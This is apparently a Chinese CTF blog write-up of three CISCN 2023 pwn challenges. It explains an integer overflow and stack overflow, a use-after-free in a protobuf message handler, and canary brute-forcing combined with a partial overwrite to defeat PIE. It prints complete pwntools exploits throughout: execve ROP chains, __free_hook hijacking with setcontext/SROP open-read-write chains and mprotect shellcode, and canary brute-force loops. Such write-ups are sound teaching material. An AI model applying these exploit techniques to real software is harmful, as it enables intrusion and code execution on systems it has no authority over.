CISCN2023的PWN

技术03-06-2023

烧烤摊儿(整数溢出+syscall)

漏洞一:有符合的整数

image.png

漏洞二:复制时候的栈溢出

image.png

疑惑:为什么canary保护不用绕过

虽然开了canary,但是可以看到gaiming函数并不会检测rbp-0x8处的值是否被破坏

为了明白这个点,我看了一下要爆破canary的题目

下面是需要爆破canary的

image.png

下面是本题的,不用绕过

image.png
所以,在有栈溢出的情况,是否需要爆款绕过canary,请查看汇编代码,看具体的执行流程。

ROPgadget的收集解法

因为题目的符号很多的没有,所以最好的方法,就是使用syscall
又因为题目没有什么限制,所以直接使用ropchain生成即可

比赛出现的问题:对于syscall一些执行函数的参数不够熟悉,后面去整理这方面的内容,方便写题更高效的去构造

from pwn import *
from struct import pack

context.log_level = 'debug'
io = process("./shaokao")

# execve generated by ROPgadget
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding

p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

io.sendline('1')

io.sendline('1')

io.sendline('-100000')

io.sendline('4')

io.sendline('5')

pause( )

offset = 0x20 + 8
paylaod = offset*b'a' + p

io.sendline(paylaod)

pause( );

io.interactive()

使用ropper

image.png
我用ropper生存的攻击,是失败的。

但是,ropper很适合用来构造rop链时候的辅助

手动构造ROP链接

image.png
注意到,写入的name地址是固定的,所以可以考虑往这里写/bin/sh
虽然本题无system,但是存在syscall,所以考虑syscall调用
image.png
image.png

from pwn import *

elfname = './shaokao'

local = 1
if local:
    p = process(elfname)
else:
    p = remote('123.56.236.235', 30501)
elf = ELF(elfname)


context.log_level = 'debug'
context.arch = 'amd64'
context.binary = elfname


r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
uu32 = lambda data: u32(data.ljust(4, b'\x00'))
uu64 = lambda data: u64(data.ljust(8, b'\x00'))


loginfo = lambda tag, addr: log.success(tag + " -> " + hex(addr))
def menu(ch):
    sla(">",str(ch))
def chuan(ch,num):
    menu(2)
    sla(". ",str(ch))
    sla("\n",str(num))
def game(cont):
    menu(5)
    sla("",cont)

#dbg()

chuan(2,'-100000')

menu(4)

poprdi=0x000000000040264f
poprsi=0x000000000040a67e
poprdx=0x00000000004a404b
poprax=0x0000000000458827
syscalret=0x00000000004230a6
name=0x4E60F0

payload=b"/bin/sh\x00"+b'\x00'*0x20+p64(poprdi)+p64(name)+p64(poprsi)+p64(0)+p64(poprdx)+p64(0)*2+p64(poprax)+p64(59)
payload+=p64(syscalret)

game(payload)

p.interactive( )

Strangetalkbot(protocal)

逆向分析

前言,本题是protocal Protobuf是由Google开发的一种序列化格式,用于越来越多的Android,Web,桌面和更多应用程序。它由一种用于声明数据结构的语言组成,然后根据目标实现将其编译为代码或另一种结构。

image.png
快速搜索magic可以定位到源码的仓库,当然也可以直接点击,就会发现了
image.png

提取结构体

保存为.proto文件

查找对应的结构参数方法

直接看符合表,然后一个个查

image.png
image.png
image.png

快捷键:ctrl + X 快速交叉引用

自动化提取分析

https://github.com/marin-m/pbtk 貌似行不通,openjdk-9我换成openjdk-11

sudo apt install python3-pip git openjdk-11-jre libqt5x11extras5 python3-pyqt5.qtwebengine python3-pyqt5

$ sudo pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client

$ git clone https://github.com/marin-m/pbtk
$ cd pbtk
$ ./gui.py

使用protocal编译

sudo apt-get install protobuf-compiler
protoc --python_out=./ ./ctf.proto

最终的结果

只能使用字符一个个逆向分析。 特别留意 sint64 跟 int64 不是一个东西 使用proto3,因为更方便 最后我使用的是proto2,因为懒哈哈哈,复现脚本使用proto2的写得好 拷贝的时候,提示字符不是ASCII的问题,就是没有切换为英文输入法

syntax = "proto2";

message Devicemsg {
 required sint64 actionid =1;
 required sint64 msgidx =2;
 required sint64 msgsize =3;
 required bytes msgcontent=4;
}

# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: devicemsg.proto

import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor.FileDescriptor(
  name='devicemsg.proto',
  package='',
  syntax='proto2',
  serialized_pb=_b('\n\x0f\x64\x65vicemsg.proto\"R\n\tDevicemsg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x12\x12\x0e\n\x06msgidx\x18\x02 \x02(\x12\x12\x0f\n\x07msgsize\x18\x03 \x02(\x12\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')
)
_sym_db.RegisterFileDescriptor(DESCRIPTOR)




_DEVICEMSG = _descriptor.Descriptor(
  name='Devicemsg',
  full_name='Devicemsg',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  fields=[
    _descriptor.FieldDescriptor(
      name='actionid', full_name='Devicemsg.actionid', index=0,
      number=1, type=18, cpp_type=2, label=2,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
    _descriptor.FieldDescriptor(
      name='msgidx', full_name='Devicemsg.msgidx', index=1,
      number=2, type=18, cpp_type=2, label=2,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
    _descriptor.FieldDescriptor(
      name='msgsize', full_name='Devicemsg.msgsize', index=2,
      number=3, type=18, cpp_type=2, label=2,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
    _descriptor.FieldDescriptor(
      name='msgcontent', full_name='Devicemsg.msgcontent', index=3,
      number=4, type=12, cpp_type=9, label=2,
      has_default_value=False, default_value=_b(""),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
  ],
  extensions=[
  ],
  nested_types=[],
  enum_types=[
  ],
  options=None,
  is_extendable=False,
  syntax='proto2',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=19,
  serialized_end=101,
)

DESCRIPTOR.message_types_by_name['Devicemsg'] = _DEVICEMSG

Devicemsg = _reflection.GeneratedProtocolMessageType('Devicemsg', (_message.Message,), dict(
  DESCRIPTOR = _DEVICEMSG,
  __module__ = 'devicemsg_pb2'
  # @@protoc_insertion_point(class_scope:Devicemsg)
  ))
_sym_db.RegisterMessage(Devicemsg)


# @@protoc_insertion_point(module_scope)

静态IDA分析

对着代码进行逆向分析,猜测每个参数的功能及其函数的作用,并且重新命名

image.png

复原结构体的状况

有一个bss存size和一个bss存ptr

image.png

UAF漏洞

这里有误导性,其实把东西拿出来给result 但是实际变的是临时变量,真实的位置没有发生变化 其次,最后置于零的是你的输入 这里的置零不是指针置零,所以这个存在uaf漏洞

image.png

因为是2.31的UAF漏洞,所以感觉不会那么简单

查一下沙箱
image.png

攻击思路

因为有沙箱,能用orw,所以考虑使用orw配合使用setcontext进行读取flag即可

什么是setcontext https://www.cnblogs.com/pwnfeifei/p/15819825.html 其实就是SROP 用mov_rdx_rdi即可读取了 本题去了符号,难找到原型,不过你大体可以知道,它是长这样的 image.png

EXP

补充一个小技巧,使用glibc-all-in-one的时候 因为libc不一定一样 所以先patchelf 最后在目录中,把libc文件删除,换成远程给的即可 现在内容就是正确的了 image.png

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

p = process('./pwn')
#p = remote('123.57.248.214',21202)

import devicemsg_pb2

def new(i,s,c):
        msg = devicemsg_pb2.Devicemsg()  #弄一个序列化结构体,其实就是类似JSON
        msg.actionid = 1  #结构体初始化
        msg.msgidx = i
        msg.msgsize = s
        msg.msgcontent = c
        sda(': \n',msg.SerializeToString()) #序列化
def free(i):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 4
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sda(': \n',msg.SerializeToString())
def show(i):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 3
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sda(': \n',msg.SerializeToString())
def edit(i,c):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 2
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = c
        sda(': \n',msg.SerializeToString())

    
#tcache中每个链表最多7个节点(chunk)
#暴tcache,进入unsorted bin
for i in range(8):
        new(i,0xf0,b'')
for i in range(8):
        free(i)
#泄露main_arena
show(7)
rc(0x50)
#计算出libc,使用main_arena的工具
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))

#泄露堆指针.指向的tcache的结构
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))

pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_ret = libc_base+0x0000000000142c92
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9
free_hook = libc_base+0x1eee48

edit(6,p64(free_hook) + flat([
        libc_base+0x0000000000025b9b, #利用了csu的gadget
        0,
        heap_base+0xad0,
        pop_rdi_ret,
        heap_base+0xad0,
        pop_rsi_ret,
        0,
        pop_rdx_ret,
        0,
        pop_rax_ret,
        2,
        syscall_ret, # open
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        heap_base+0xad0,
        pop_rdx_ret,
        0x30,
        pop_rax_ret,
        0,
        syscall_ret, # read
        pop_rdi_ret,
        1,
        pop_rax_ret,
        1,
        syscall_ret, # write
]))

new(8,0xf0,flat({ #使用flat将多个序列生成单一序列
        0x00: 0x67616C662F, # /flag  #在偏移0x00处存入flag字段
        0x28: libc_base+0x00000000000578c8, #在偏移0x28处存入地址
        0x48: heap_base+0xfa0  #指向字符串的位置
}, filler=b'\x00')) #最后有b'\x00' 填充剩余的位置
new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]
#dbg('b *(free+161)\nc')
free(8)

irt()

调试的全过程

泄露Libc

#tcache中每个链表最多7个节点(chunk)
#暴tcache,进入unsorted bin
for i in range(8):
        new(i,0xf0,b'')
for i in range(8):
        free(i)
#泄露main_arena
show(7)
rc(0x50)
#计算出libc,使用main_arena的工具
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))

image.png

泄露堆地址

#泄露堆指针.指向的tcache的结构
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))

image.png

寻找free_hook

image.png

修改idx=6,即目前第一个tcache的fd和内容—为rop链

image.png
image.png

一点迷思迷思迷思迷思!!!: image.png 为什么都是用heap_base+ad0 因为,tcache就是一个堆,我们泄露出来的,是堆的分配收地址 这是按内存对齐的!!! 而只要我们加ad0,就能到我们想要去的地方,即第7个chunk

这里利用了csu的gadget
image.png

edit(6,p64(libc_base+0x1eee48) + flat([
        libc_base+0x0000000000025b9b,
        0,
        heap_base+0xad0, #第7个chunk,idx=6
        pop_rdi_ret,
        heap_base+0xad0,
        pop_rsi_ret,
        0,
        pop_rdx_ret,
        0,
        pop_rax_ret,
        2,
        syscall_ret, # open
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        heap_base+0xad0,
        pop_rdx_ret,
        0x30,
        pop_rax_ret,
        0,
        syscall_ret, # read
        pop_rdi_ret,
        1,
        pop_rax_ret,
        1,
        syscall_ret, # write
]))

往分配出来的新chunk,即原先idx=6的chunk进行写

通过AIT+T寻找 不对,还有其他方法:搜索libc中的gadget(使用ropper)

image.png
image.png

迷思:为什么还可以在原来的基础上编辑 image.png 因为又一次创建了缓冲,所以可以在改缓冲上进行编辑,利用这个缓冲

new(8,0xf0,flat({ #使用flat将多个序列生成单一序列
        0x00: 0x67616C662F, # /flag  #在偏移0x00处存入flag字段
        0x28: libc_base+0x00000000000578c8, #做栈迁移
        0x48: heap_base+0xfa0  #指chunk,rop
}, filler=b'\x00')) #最后有b'\x00' 填充剩余的位置

修改free_hook内容

因为rdi是free时候的指针,而【rdi】就等于取chunk里面的内容进行操作了,这样就能完美劫持程序流程,进行rop

new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]

释放chunk8,即原先idx=6,就可以进行rop

free(8)

最终的图解

补充一个点:栈迁移 完成两个点即可:

  • 修改ebp为目标的栈空间
  • leave ret为到目标的点,并执行下一条指令
  • 先找gadget,再进行栈排布

还有,保护全开,记得能泄露就泄露出来

67a587ef707b3c34e646f7d71140d50.jpg

其他解法

这种是属于常见的劫持程序流程到堆上,核心都是控制rsp到堆

通过SROP+ROP链

关键点:控制rdx,因为是2.31的版本 能用orw,那就用mov_rdx_rdi_配合setcontext函数进行orw读flag了

from pwn import *

from struct import pack

from ctypes import *

 

def s(a):

  p.send(a)

def sa(a, b):

  p.sendafter(a, b)

def sl(a):

  p.sendline(a)

def sla(a, b):

  p.sendlineafter(a, b)

def r():

  p.recv()

def pr():

  print(p.recv())

def rl(a):

  return p.recvuntil(a)

def inter():

  p.interactive()

def debug():

  gdb.attach(p)

  pause()

def get_addr():

  return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

 

context(os='linux', arch='amd64', log_level='debug')

\#p = process("./pwn2")

p = remote('47.94.206.10', 34904)elf = ELF("./pwn2")

libc = ELF('./libc-2.31.so')

 

import sys

sys.path.append('./output')

import devicmesg_pb2

 

def add(idx, data_len, data):

    msg = devicmesg_pb2.devicmesg()

    msg.actionid = 1

    msg.msgidx = idx

    msg.msgsize = data_len

    msg.msgcontent = data

    serialized_msg = msg.SerializeToString()

    sa(b'now: \n', serialized_msg)

def edit(idx, data):

    msg = devicmesg_pb2.devicmesg()

    msg.actionid = 2

    msg.msgidx = idx

    msg.msgsize = 1

    msg.msgcontent = data

    serialized_msg = msg.SerializeToString()

    sa(b'now: \n', serialized_msg)

def show(idx):

    msg = devicmesg_pb2.devicmesg()

    msg.actionid = 3

    msg.msgidx = idx

    msg.msgsize = 1

    msg.msgcontent = b'a'

    serialized_msg = msg.SerializeToString()

    sa(b'now: \n', serialized_msg)

def free(idx):

    msg = devicmesg_pb2.devicmesg()

    msg.actionid = 4

    msg.msgidx = idx

    msg.msgsize = 1

    msg.msgcontent = b'a'

    serialized_msg = msg.SerializeToString()

    sa(b'now: \n', serialized_msg)

 

for i in range(1, 10):

    add(i, 0xf0, b'a'*0xf0)

for i in range(1, 9):

    free(i)

show(8)

p.recv(0x38)

heap_base = u64(p.recv(8)) - 0x1470

rl(b'\x7f')

libc_base = get_addr() - 0x1ecbe0 #

 

rax = libc_base + 0x36174

rdi = libc_base + 0x23b6a

rsi = libc_base + 0x2601f

rdx = libc_base + 0x142c92

rsp = libc_base + 0x2f70a

ret = libc_base + 0x22679

syscall = libc_base + 0x2284d

 

mov_rdx_rdi_ = libc_base + 0x151990

setcontext = libc_base + 0x54F5D 

buf = heap_base + 0x3000

flag = heap_base + 0x2088

 

free_hook = libc_base + libc.sym['__free_hook']

add(10, 0x20, b'a')

add(11, 0x20, b'a')

free(11)

free(10)

edit(10, p64(free_hook - 8))

add(12, 0x20, b'a')

payload = b'\x00'*8 + p64(mov_rdx_rdi_)

add(13, 0x20, payload)

add(14, 0xc0, (p64(heap_base + 0x1e20)*2 + p64(setcontext)*4).ljust(0xa0, b'\x00') + p64(heap_base + 0x640) + p64(ret))

 

open_ = libc_base + libc.sym['open']

read = libc_base + libc.sym['read']

write = libc_base + libc.sym['write']

puts = libc_base + libc.sym['puts']

 

orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)

orw += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x30) + p64(read)

orw += p64(rdi) + p64(1) + p64(write)

orw += b'/flag\x00\x00\x00'

edit(2, orw)

 

free(14)

pr()

通过SROP执行shellcode

from pwn import *
from struct import pack
import binascii
import pp_pb2
from google.protobuf import message
import subprocess
elfname = './pwn'
libcname = './libc-2.31.so'
local = 1
if local:
    p = process(elfname)
else:
    p = remote('123.56.135.185', 23536)
elf = ELF(elfname)
libc = ELF(libcname)

context.log_level = 'debug'
context.arch = 'amd64'
context.binary = elfname




r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
uu32 = lambda data: u32(data.ljust(4, '\x00'))
uu64 = lambda data: u64(data.ljust(8, '\x00'))

loginfo = lambda tag, addr: log.success(tag + " -> " + hex(addr))
cont = pp_pb2.devicemsg()
def add(idx,size,mem):
    cont.actionid=2
    cont.msgidx=idx*2
    cont.msgsize=size
    cont.msgcontent=mem
    sa("now:",cont.SerializeToString())
def delete(idx):
    cont.actionid = 8
    cont.msgidx = idx * 2
    cont.msgsize=4
    cont.msgcontent='a'
    sa("now:",cont.SerializeToString())
def show(idx):
    cont.actionid = 6
    cont.msgidx = idx * 2
    sa("now:",cont.SerializeToString())
def edit(idx,size,mem):
    cont.actionid = 4
    cont.msgidx = idx * 2
    cont.msgsize = size
    cont.msgcontent = mem
    sa("now:", cont.SerializeToString())
for i in range(9):
    add(i+1,0x80,'a'*0x80)
for i in range(9,0,-1):
    delete(i)
show(2)
ru('\n')
p.recv(0x38)
heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x540
loginfo("heap",heapaddr)
p.recv(0x1a)
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecc10
loginfo("libc",libcbase)
freehook=libcbase+libc.sym['__free_hook']
setcontext=libcbase+libc.sym['setcontext']

gadget=0x0000000000151990+libcbase
edit(3,0x20,p64(freehook))
add(11,0x80,p64(gadget).ljust(0x80,'\x00'))
frame = SigreturnFrame()
mprotect=libcbase+libc.sym['mprotect']
flagaddr=heapaddr+0x2000
shellcode=shellcraft.open('flag',0,0)
shellcode+=shellcraft.read(3,flagaddr,0x50)
shellcode+=shellcraft.write(1,flagaddr,0x50)

frame.rsp = heapaddr+0x1618
frame.rdi=heapaddr+0x1000
frame.rsi=0x1000
frame.rdx=7
frame.rip = mprotect
print("len->"+hex(len(str(frame))))
add(12,0xf0,p64(setcontext+61)+p64(heapaddr+0x1500-0x40)+str(frame)[0x30:0x110])
conts="flag"+"\x00"*4+p64(heapaddr+0x1620)+asm(shellcode)
add(13,len(conts),conts)
#dbg()
delete(12)




p.interactive()

funcanary(fork爆canary与partial write绕PIE)

静态分析

image.png
image.png
image.png
image.png
很够的一点:存在一个IDA无法识别的后门函数
image.png

找到这个后门的方法: shift + F2 查找 string 发现敏感字符串 Alt + T 查找所有引用的字符串 最后就找到了这个后门函数

因为开启了PIE,所以要用这个后门,还得绕过PIE的保护。

partial write就是利用了PIE技术的缺陷。我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程

注意:只有后三位不变!!!
Snipaste_2023-05-30_22-30-32.png

最终思路

想要利用栈溢出,必须绕过PIE和CANARY保护,由于此处是read可以不接受换行符,我们可以用pwntools中的p.send然后爆破canary,爆破完canary之后,由于overflow函数的返回地址是一个TEXT段上的地址(rebase(0x1329)),并且发现很狗的是程序中还隐藏了一个IDA识别不出来的后门函数。

脚本一:爆破第4位

from pwn import *

elfname = './funcanary'
#libcname = './libc.so.6'

p = process(elfname)

elf = ELF(elfname)

context.log_level = 'debug'
context.arch = 'amd64'

r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)

canary = '\x00'

for j in  range(7):
    for i in range(0x100):
        payload = 0x68*'a' + canary + chr(i)
        sa(b"welcome\n",payload)
        a = p.recvline()
        if b'have fun' in a:
            canary += chr(i)
            break

print(canary)

i=0
while True:
    sa("welcome\n", b'd' * 0x68 + flat(canary) +b'm'*8+ p8(0x2E) +p8(0x2+0x10*i))
    i=i+1
    if(i==0x10):
        i=0
    if b"flag" in p.recvline():
        break;

脚本二:利用页的大小累加控制第4位

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./funcanary' )
io = remote('123.56.135.185',42164)
io.recvuntil('welcome\n')
canary = b'\x00'

for k in range(7):
    for i in range(0x100):
        io.send('a'*0x68 + canary + chr(i))
        a = io.recvuntil("welcome\n")
        #print(a)
        if "fun" in a:
            canary += chr(i)
            print("canary: ", canary)
            break

cat_flag = 0x0231

for i in range(16):
    io.send('a'*0x68 + canary + 'b'*8 + p16(cat_flag))
    a = io.recvuntil("welcome\n")
    cat_flag += 0x1000
    if "flag" in a:
        print(a)
        break

io.interactive()
Author's photo

HuanXin-Chen

A tech enthusiast and avid sharer, this dream chaser firmly believes that great things will happen!

See other articles: